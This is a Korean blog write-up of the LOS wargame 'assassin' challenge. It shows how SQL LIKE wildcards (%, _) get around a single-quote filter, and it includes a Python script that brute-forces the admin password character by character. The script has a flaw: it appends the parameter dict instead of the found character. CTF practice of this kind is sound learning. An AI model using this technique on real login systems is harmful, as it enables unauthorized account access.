LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
pw에 간단하게 싱글쿼터 필터링이 걸려있는 듯하다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if($result['id'] == 'admin') solve("assassin");
간단하게 admin 값을 넣어주면 풀리는 문제인데,
싱글쿼터가 필터링으로 걸려있고 해당 구문에서는
= 연산자와 동일하게 적용되는 like 구문을 이용하고 있다.
즉, where pw='{$_GET[pw]}' 와 동일하다고 생각하면 된다.
그러면 지금까지 해왔던 문제들과 똑같지 않은가!
라고 생각하기에는 싱글쿼터 필터링이 있기 때문에
우리가 조작하려고 하는 페이로드가 먹히지 않게 된다.
그렇다면 어떻게 해야할까?
이전 문제와 동일한 참고 글을 통해 확인할 수 있었다.
like 쿼리의 와일드 카드에 해당하는 기호 %%, __ 를 사용하여
우회가 가능하다는 것이다.
그렇다면 와일드 카드는 무엇일까?
와일드 카드 문자에 대한 설명은 다음 글을 참고할 수 있었다.
해당하는 문자와 % 또는 _ 기호를 활용해서 비밀번호를 알아낼 수 있는데,
우선 %를 대입해보도록 하자.
다음과 같이 반겨주는 것을 확인할 수 있다.
0개 이상의 문자는 %를 의미하고, 1개의 문자는 _를 의미하기 때문에
언더바 기호를 활용해서 비밀번호의 길이를 알아보도록 하자.
다음과 같이 패스워드는 8 자리로 이루어져있음을
확인할 수 있다. 이러한 방식으로 Hello admin이 뜨는
패스워드를 알아낼 수 있도록 스크립트를 구성해보자.
import requests
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_crack():
password = ''
for i in range(1, 9):
for j in range(1, 128):
param = "_" * (i-1) + chr(j) + "%"
params = { "pw" : param }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + str(params)
print("패스워드:", password)
break
pw_crack()
간단하게 다음 코드를 적용해서 스크립트를 돌리게 되면,
Hello admin에 해당하는 패스워드 와일드 카드 구문이 나오게 된다.
해당 패스워드에서 아무거나 집어넣게 되면,
문제가 풀리는 것을 확인할 수 있다.
like 구문의 와일드 카드에 대한 사용법을 알게 돼서
좋은 공부를 하게 된 것 같다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] zombie_assassin (0) | 2022.12.24 |
---|---|
[LOS] succubus (0) | 2022.12.23 |
[LOS] giant (0) | 2022.12.23 |
[LOS] bugbear (0) | 2022.12.22 |
[LOS] darknight (0) | 2022.12.22 |